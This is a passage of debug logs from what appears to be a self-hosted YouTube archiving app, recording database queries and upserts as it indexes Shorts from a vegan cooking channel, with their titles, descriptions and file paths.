s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:40.594 [debug] QUERY OK source="sources" db=0.8ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:40.598 [debug] QUERY OK source="media_items" db=3.1ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-03 18:00:15Z], 1] 20:29:40.599 [debug] QUERY OK source="media_items" db=0.8ms idle=1007.6ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pie so good your eyes will start drooling", "e25207eb-b84a-4c1d-897b-e027d4bdb5dd", 1, [], 14, false, "uxXV1DJ8tTw", "https://www.youtube.com/shorts/uxXV1DJ8tTw", 401, "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Pie so good your eyes will start drooling/Pie so good your eyes will start drooling [uxXV1DJ8tTw].NA", false, false, true, 0, ~U[2022-06-03 18:00:15Z], ~U[2026-03-22 03:29:40Z], ~U[2026-03-22 03:29:40Z], "", "Pie so good your eyes will start drooling", 1, 14, false, "uxXV1DJ8tTw", "https://www.youtube.com/shorts/uxXV1DJ8tTw", "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Pie so good your eyes will start drooling/Pie so good your eyes will start drooling [uxXV1DJ8tTw].NA", true, ~U[2022-06-03 18:00:15Z]] 20:29:40.600 [debug] QUERY OK source="sources" db=0.4ms idle=112.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:40.601 [debug] QUERY OK source="media_profiles" db=0.8ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:40.602 [debug] QUERY OK source="media_items" db=1.0ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [790] 20:29:40.603 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Strawberry Rhubarb Pie season is upon us! Let's make it vegan and gluten-free! Pie crust recipe is in a previous YouTube Short (https://youtube.com/shorts/w0twf3Zv7rs?feature=share), or go check out the full video below! ⬇️\nSTRAWBERRY RHUBARB PIE: https://youtu.be/42Ra2CeeUM8\n\nWant more steamy recipes? Head to my blog: ⬇️\nhttps://steamyvegankitchen.com\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱/Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱 [NeeSEEam7B4].NA", "id" => "NeeSEEam7B4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/NeeSEEam7B4", "playlist_index" => 402, "timestamp" => 1654267744, "title" => "Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱", "upload_date" => "20220603"} 20:29:40.604 [debug] QUERY OK source="sources" db=1.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:40.605 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:40.608 [debug] QUERY OK source="media_items" db=2.3ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-03 14:49:04Z], 1] 20:29:40.610 [debug] QUERY OK source="media_items" db=1.8ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Strawberry Rhubarb Pie season is upon us! Let's make it vegan and gluten-free! Pie crust recipe is in a previous YouTube Short (https://youtube.com/shorts/w0twf3Zv7rs?feature=share), or go check out the full video below! ⬇️\nSTRAWBERRY RHUBARB PIE: https://youtu.be/42Ra2CeeUM8\n\nWant more steamy recipes? Head to my blog: ⬇️\nhttps://steamyvegankitchen.com\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱", "789b73f0-feb5-473e-a26c-8e48d42c5090", 1, [], 60, false, "NeeSEEam7B4", "https://www.youtube.com/shorts/NeeSEEam7B4", 402, "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱/Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱 [NeeSEEam7B4].NA", false, false, true, 1, ~U[2022-06-03 14:49:04Z], ~U[2026-03-22 03:29:40Z], ~U[2026-03-22 03:29:40Z], "Strawberry Rhubarb Pie season is upon us! Let's make it vegan and gluten-free! Pie crust recipe is in a previous YouTube Short (https://youtube.com/shorts/w0twf3Zv7rs?feature=share), or go check out the full video below! ⬇️\nSTRAWBERRY RHUBARB PIE: https://youtu.be/42Ra2CeeUM8\n\nWant more steamy recipes? Head to my blog: ⬇️\nhttps://steamyvegankitchen.com\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱", 1, 60, false, "NeeSEEam7B4", "https://www.youtube.com/shorts/NeeSEEam7B4", "/downloads/downloads/alec/Steamy Vegan/2022-06-03 Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱/Let’s make a strawberry rhubarb pie! Vegan + gluten-free, baby 🌱 [NeeSEEam7B4].NA", true, ~U[2022-06-03 14:49:04Z]] 20:29:40.611 [debug] QUERY OK source="sources" db=0.3ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:40.612 [debug] QUERY OK source="media_profiles" db=0.8ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:40.613 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [791] 20:29:40.613 [debug] Current batch of media processed. Will check again in 1000ms 20:29:41.614 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I've always loved watching bloopers of my favourite shows and movies. They're the best when it's not you doing them. Enjoy a few of the many bloopers I have to offer!\n\nIf you're interested in plant-based and gluten free recipes then you'll want to subscribe to my channel. Or if you just want a few laughs every once in awhile then you might also enjoy watching some of my content! Thanks for your support!!!", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Aren’t bloopers just the wors— I mean, best? 🫠/Aren’t bloopers just the wors— I mean, best? 🫠 [HikNRQnsXXw].NA", "id" => "HikNRQnsXXw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HikNRQnsXXw", "playlist_index" => 403, "timestamp" => 1654212082, "title" => "Aren’t bloopers just the wors— I mean, best? 🫠", "upload_date" => "20220602"} 20:29:41.615 [debug] QUERY OK source="sources" db=0.5ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:41.616 [debug] QUERY OK source="sources" db=0.3ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:41.618 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-02 23:21:22Z], 1] 20:29:41.619 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've always loved watching bloopers of my favourite shows and movies. They're the best when it's not you doing them. Enjoy a few of the many bloopers I have to offer!\n\nIf you're interested in plant-based and gluten free recipes then you'll want to subscribe to my channel. Or if you just want a few laughs every once in awhile then you might also enjoy watching some of my content! Thanks for your support!!!", "Aren’t bloopers just the wors— I mean, best? 🫠", "69fbfb5b-1a76-4336-a54d-f92427d5fc59", 1, [], 13, false, "HikNRQnsXXw", "https://www.youtube.com/shorts/HikNRQnsXXw", 403, "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Aren’t bloopers just the wors— I mean, best? 🫠/Aren’t bloopers just the wors— I mean, best? 🫠 [HikNRQnsXXw].NA", false, false, true, 0, ~U[2022-06-02 23:21:22Z], ~U[2026-03-22 03:29:41Z], ~U[2026-03-22 03:29:41Z], "I've always loved watching bloopers of my favourite shows and movies. They're the best when it's not you doing them. Enjoy a few of the many bloopers I have to offer!\n\nIf you're interested in plant-based and gluten free recipes then you'll want to subscribe to my channel. Or if you just want a few laughs every once in awhile then you might also enjoy watching some of my content! Thanks for your support!!!", "Aren’t bloopers just the wors— I mean, best? 🫠", 1, 13, false, "HikNRQnsXXw", "https://www.youtube.com/shorts/HikNRQnsXXw", "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Aren’t bloopers just the wors— I mean, best? 🫠/Aren’t bloopers just the wors— I mean, best? 🫠 [HikNRQnsXXw].NA", true, ~U[2022-06-02 23:21:22Z]] 20:29:41.620 [debug] QUERY OK source="sources" db=0.4ms idle=130.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:41.621 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:41.621 [debug] QUERY OK source="media_items" db=0.3ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [792] 20:29:41.621 [debug] Current batch of media processed. Will check again in 1000ms 20:29:42.622 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The infamous pie scene with Jason Biggs and Eugene Levy remastered with my strawberry rhubarb pie, which you see the recipe for below. If you were a teenage in 1999 then you'll remember this scene vividly. I hope you remember my pie the same way, but please don't do what Jim did to his pie, it's better eaten.\n\nFull recipe video: https://youtu.be/42Ra2CeeUM8", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-02 What does 3rd base feel like? (American Pie Clip - If ya know, ya know)/What does 3rd base feel like? (American Pie Clip - If ya know, ya know) [FHj5mPI1QXk].NA", "id" => "FHj5mPI1QXk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/FHj5mPI1QXk", "playlist_index" => 404, "timestamp" => 1654185613, "title" => "What does 3rd base feel like? (American Pie Clip - If ya know, ya know)", "upload_date" => "20220602"} 20:29:42.623 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:42.624 [debug] QUERY OK source="sources" db=0.3ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:42.626 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-02 16:00:13Z], 1] 20:29:42.627 [debug] QUERY OK source="media_items" db=0.9ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The infamous pie scene with Jason Biggs and Eugene Levy remastered with my strawberry rhubarb pie, which you see the recipe for below. If you were a teenage in 1999 then you'll remember this scene vividly. I hope you remember my pie the same way, but please don't do what Jim did to his pie, it's better eaten.\n\nFull recipe video: https://youtu.be/42Ra2CeeUM8", "What does 3rd base feel like? (American Pie Clip - If ya know, ya know)", "b655125e-9e8a-43d6-afba-e35b8b43a5df", 1, [], 15, false, "FHj5mPI1QXk", "https://www.youtube.com/shorts/FHj5mPI1QXk", 404, "/downloads/downloads/alec/Steamy Vegan/2022-06-02 What does 3rd base feel like? (American Pie Clip - If ya know, ya know)/What does 3rd base feel like? (American Pie Clip - If ya know, ya know) [FHj5mPI1QXk].NA", false, false, true, 1, ~U[2022-06-02 16:00:13Z], ~U[2026-03-22 03:29:42Z], ~U[2026-03-22 03:29:42Z], "The infamous pie scene with Jason Biggs and Eugene Levy remastered with my strawberry rhubarb pie, which you see the recipe for below. If you were a teenage in 1999 then you'll remember this scene vividly. I hope you remember my pie the same way, but please don't do what Jim did to his pie, it's better eaten.\n\nFull recipe video: https://youtu.be/42Ra2CeeUM8", "What does 3rd base feel like? (American Pie Clip - If ya know, ya know)", 1, 15, false, "FHj5mPI1QXk", "https://www.youtube.com/shorts/FHj5mPI1QXk", "/downloads/downloads/alec/Steamy Vegan/2022-06-02 What does 3rd base feel like? (American Pie Clip - If ya know, ya know)/What does 3rd base feel like? (American Pie Clip - If ya know, ya know) [FHj5mPI1QXk].NA", true, ~U[2022-06-02 16:00:13Z]] 20:29:42.628 [debug] QUERY OK source="sources" db=0.5ms idle=136.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:42.629 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:42.630 [debug] QUERY OK source="media_items" db=0.5ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [793] 20:29:42.630 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Full recipe video here: https://youtu.be/rbG65z34oOI\nI love these apple cinnamon quinoa oat bars because they're easy to make, great grab and go snacks, and they're filling. I've made mine vegan and gluten free and they turned out perfect.", "duration" => 55, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts/Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts [yt4uo-Z0TG8].NA", "id" => "yt4uo-Z0TG8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yt4uo-Z0TG8", "playlist_index" => 405, "timestamp" => 1654131613, "title" => "Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts", "upload_date" => "20220602"} 20:29:42.631 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:42.632 [debug] QUERY OK source="sources" db=0.7ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:42.635 